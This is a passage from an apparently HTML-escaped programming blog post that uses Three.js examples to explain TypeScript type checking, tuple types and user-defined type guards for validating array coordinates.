&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Vector2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Vector2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// This functions expects objects&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;curve&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;SplineCurve&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// And this expects arrays&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Shape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;moveTo&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;lineTo&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;y&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getLength&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(); &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// 26.925824035672584&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// if we pass objects instead...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;THREE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Shape&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;moveTo&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;lineTo&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;myShape2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getLength&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(); &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// NaN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// What? 😳 🤯&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Fortunately, TypeScript was designed specifically to find this kind of errors, and type-checking the code immediately finds the error. This is because Three.JS has &lt;strong&gt;typings&lt;/strong&gt; that allow the compiler to verify the correctness of the function parameters.&lt;/p&gt;&lt;p&gt;However things becomes slightly more complicated when we want to use &lt;strong&gt;arrays&lt;/strong&gt; to represent coordinates. While TypeScript can easily verify the presence of the &lt;code&gt;x&lt;/code&gt;,&lt;code&gt; y&lt;/code&gt; and &lt;code&gt;z&lt;/code&gt; fields of an object, when we access an array with the notation &lt;code&gt;arr [N]&lt;/code&gt; we may read values that are out of bounds.&lt;/p&gt;&lt;p&gt;In fact, TypeScript does not perform bounds checking on arrays, since it depends on run-time information. All arrays represented as &lt;code&gt;T[]&lt;/code&gt; have no compile-time bounds checking, and literal arrays are interpreted this way by default.&lt;/p&gt;&lt;p&gt;We can have better checking using &lt;em&gt;Type Narrowing&lt;/em&gt;:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointA&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]; &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// number[]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// No bounds checking 😕&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointA&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]); &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// undefined&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// We force (narrowing) our type to be a three number array&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointB&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// We get an error as we want 🥳&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointB&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// To avoid repetitions, we can also use an alias&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;pointC&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=8&amp;amp;pc=26#code/MYewdgzgLgBADiAlmKBBGBeGBtAjAJgBoYBmYgDgF0BuGAejpjAFcBbAIwFMAnbSgWABQQhjABynCBGZgY7EDIAmMYAAtOwANbIA5jEC8G4FQ9oaEggANpwB05kDoAUCZGmwAWSgEp6jJZwBmyJyKQiGCogBiINwAXogAhqwgMPZgcdzcIADuul6I5jBQiAgwccoyJelxAJ4qIKwI0EmKcQXcnExsXNwm4NDwSCgAQgBcOCwcPMTjXVOdPJSYOATEZDBU1KGiAMKIMABuiJxg7RCcOqnmcVBJ5gDkPBltMIB8G4DOuz1mljZ2jgNQg25PJtGAAFHgwTgHKBpdqKXYQYDcRB7HjtOCIACf+wsUHathg0EkECShQQxAaEHiiRKYDU7WYhXMiGi0RhMHKcSZcQgQigVTg7RBf0W2Gmkw6E24s0lNA+fScKC2oyFzhFy1IFBoQA&quot;&gt;Try it on Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;As we forced our type to be a three number array, we can also do the same with different types:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// We can also use different types&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;tuple&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;test&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// tuple[0] is a number&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;tuple&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] - &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// tuple[2] is a string, and so we get an error&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;tuple&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] - &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=8&amp;amp;pc=26#code/PTAEAUHsGdoSwIYFtKgK4Bc4Bs4C88EAnAU1AQDsBjACzKwAc5QATOANxKPgBpyKWlFqgSgAZpCJJi9NA2wkAsACgqkCtAygMchQC5QAbQpokAIy58T5y6E1E4FAOYBdUAF4jARgBMfAMx8AEQYJJpBLgDcKiog2rokhgAMbgAX6BSg1lyQfDoYGCIMDDCFKmoakAoAdNiQTgAUOvKJKaAAtKAArACUMcpxzQqGPmkZovaOTgh8ZGygFdAkTmgkFISgkAVriCgZoFxEkkqq6tBVJLX1TQkjbp29QA&quot;&gt;Try it on Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;However, if our data is not a constant, for example if it comes from a service or from a file, we should not cast it using &lt;code&gt;as&lt;/code&gt;, as it would be unsafe: we don&amp;#x27;t know what data we are going to get. To get even more security we can combine a runtime control with a &lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/advanced-types.html#user-defined-type-guards&quot;&gt;Type Guard&lt;/a&gt;:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// We assert that this function is expected to return true if the parameter is a valid Point&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;isValidPoint&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;any&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[]): &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; === &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;every&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; !&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;isNaN&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;a&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;isValidPoint&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Out point is valid, we can access it safely&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;point&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;] - &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;} &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// The point is not valid, and accessing it yields an error 🤯&lt;/span&gt;&lt;/span&gt;
